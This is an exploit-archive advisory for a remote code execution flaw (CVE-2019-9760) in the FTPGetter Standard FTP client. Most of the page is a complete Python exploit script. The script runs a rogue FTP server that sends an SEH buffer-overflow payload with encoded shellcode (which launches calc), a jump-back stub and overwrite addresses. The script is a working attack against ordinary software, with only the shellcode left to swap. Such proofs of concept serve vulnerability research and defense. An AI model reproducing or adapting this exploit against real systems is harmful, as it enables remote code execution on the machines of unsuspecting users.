FTPGetter Standard 5.97.0.177 Remote Code Execution

2019.03.15
Credit: w4fz5uck5
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: FTPGetter Standard - v.5.97.0.177 Remote Code Execution # Date: 05/03/2019 # Exploit Author: https://github.com/w4fz5uck5 | @w4fz5uck5 # Vendor Homepage: https://www.ftpgetter.com # Software Link: https://www.ftpgetter.com/ftpgetter_setup.exe # Version: v.5.97.0.177 # Tested on: Windows 7 x64 # CVE : CVE-2019-9760 import socket import struct import time import sys # badchars = ( # "\x59\x5a\x5b\x5c\x00\x0a\x0d\x20\x40\x1a\x80\x82\x83\x84\x85\x86\x87" # "\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b" # "\x9c\x9e\x9f\xc0\xc1" ..... # ) # x86/alpha_mixed simple fixer -> bytes "\x89\xe3\xd9\xe1\xd9\x73\xf4" calc = "" calc += "\x54" # push esp calc += "\x58" # pop eax calc += "\x05\x43\x06\x00\x00" # add eax,0x643 calc += "\x50" # push eax calc += "\x5f" # pop edi calc += "\x25\x4A\x4D\x4E\x55" # zerout EAX calc += "\x25\x35\x32\x31\x2A" # zerout EAX calc += "\x04\xab" # ADD AL,0xab calc += "\x31\x07" # XOR DWORD PTR DS:[EDI],EAX calc += "\x31\x47\x01" # XOR DWORD PTR DS:[EDI+1],EAX calc += "\x31\x47\x02" # XOR DWORD PTR DS:[EDI+2],EAX calc += "\x2C\x5B" # SUB AL,0x5b -> EAX = 0x50 calc += "\x31\x47\x03" # XOR DWORD PTR DS:[EDI+3],EAX calc += "\x31\x47\x04" # XOR DWORD PTR DS:[EDI+4],EAX calc += "\x90\x90\x90\x90" # padding # "\x89\xe3" calc += "\x54" # push esp calc += "\x5b" # pop ebx # "\xd9\xe1\xd9" xored: 0xab calc += "\x72\x4a\x72" # \x73\xf4 xored: 0x50 calc += "\x23\xa4" calc += "\x58\x50\x59\x49\x49\x49" calc += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33" calc += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41" calc += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41" calc += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a" calc += "\x4a\x49\x58\x59\x48\x4b\x4f\x4e\x48\x39\x47\x53\x45" calc += "\x37\x56\x51\x38\x59\x32\x54\x51\x34\x5a\x54\x51\x4a" calc += "\x51\x39\x4f\x39\x58\x31\x45\x43\x56\x51\x53\x42\x35" calc += "\x49\x4b\x33\x48\x42\x55\x54\x45\x53\x43\x42\x45\x45" calc += "\x31\x4b\x58\x56\x50\x56\x4d\x33\x39\x59\x32\x51\x4a" calc += "\x5a\x32\x42\x4b\x31\x4d\x32\x43\x45\x4b\x32\x44\x4b" calc += "\x4e\x53\x4d\x31\x49\x50\x38\x59\x34\x4b\x55\x31\x49" calc += "\x30\x54\x51\x5a\x47\x55\x53\x57\x31\x4d\x54\x53\x4c" calc += "\x59\x4b\x49\x42\x49\x38\x4d\x4a\x5a\x37\x4f\x4a\x33" calc += "\x58\x34\x50\x4b\x4b\x51\x4b\x5a\x48\x4e\x4d\x42\x50" calc += "\x53\x4b\x46\x48\x4e\x53\x4b\x36\x35\x58\x42\x44\x4e" calc += "\x4c\x30\x52\x54\x4e\x4c\x4d\x59\x4d\x46\x4d\x37\x4c" calc += "\x37\x4c\x4f\x50\x4b\x4c\x4f\x4c\x4c\x42\x57\x53\x49" calc += "\x38\x58\x57\x4d\x44\x32\x4e\x57\x53\x38\x59\x5a\x43" calc += "\x33\x35\x49\x44\x43\x35\x4c\x32\x45\x4b\x5a\x49\x35" calc += "\x59\x51\x4a\x35\x4c\x50\x39\x4f\x4d\x41\x41" # Encode addresses and create jmp esp # Calculate jmp esp offset and put it on stack jump_back = "\x55" # push ebp jump_back += "\x58" # pop eax jump_back += "\x05\x2b\x08\x00\x00" # add eax,2091 jump_back += "\x50" # push eax # zerout EAX jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235 jump_back += "\x3E\x33\x04\x24" # XOR EAX,DWORD PTR DS:[ESP] -> send stack addr to EAX jump_back += "\x50" # push eax jump_back += "\x5f" # pop edi # zerout EAX jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235 jump_back += "\x04\x81" # ADD AL,0x81 jump_back += "\x31\x07" # XOR DWORD PTR DS:[EDI],EAX jump_back += "\x31\x47\x01" # XOR DWORD PTR DS:[EDI+1],EAX jump_back += "\x90\x90\x90\x90" # padding # Tool utilized: https://github.com/ihack4falafel/Slink # All rights reserved to ihack4falafel # # \x54\x58\x66\x05\x04\x06\x50\xc3 jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235 jump_back += "\x05\x02\x03\x30\x62" # add eax, 0x62300302 jump_back += "\x05\x02\x03\x20\x61" # add eax, 0x61200302 jump_back += "\x50" # push eax jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235 jump_back += "\x05\x32\x34\x33\x03" # add eax, 0x03333432 jump_back += "\x05\x22\x24\x33\x02" # add eax, 0x02332422 jump_back += "\x50" # push eax # jump to second shellcode jump_back += "\x7e\x65" # jmp esp xored: 0x81 # Overflow size 493 payload = "\x90" * 29 payload += calc # shellcode payload += "\x90" * (493 - len(payload)) # padding payload += "\x7e\x06\x90\x90" # NSEH payload += "\x31\x20\x77\x00" # SEH -> POP ESI # POP EBX # RETN payload += "\x90\x90\x90\x90" payload += jump_back # jump to our calc payload += "\x90" * 700 # Final padding try: host, port = "0.0.0.0", 21 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host, int(port))) s.listen(5) print "[*] Listening server at port: {}".format(port) print "[*] Waiting for the client!.." except Exception as e: print "[-] Failed attempt to create bind socket!" sys.exit(0) try: conn, client = s.accept() conn.send("220 Welcome to server !\r\n") conn.recv(1024) print "[+] User started communication with server!" conn.send("331 anonymous OK!\r\n") conn.recv(1024) print "[+] Received anonymous user from the client!" print "[*] CALC shellcode Length: " + str(len(calc)) print "[*] Jump Back shellcode Length: " + str(len(jump_back)) print "[*] Payload final size: " + str(len(payload)) print "[!] Attempting to send payload!..." conn.send("230 " + payload + "\r\n") time.sleep(1) print "[+] You should have your poped calc!" conn.close() s.close() except: print "[-] Failed attempt to send payload!" sys.exit(0)


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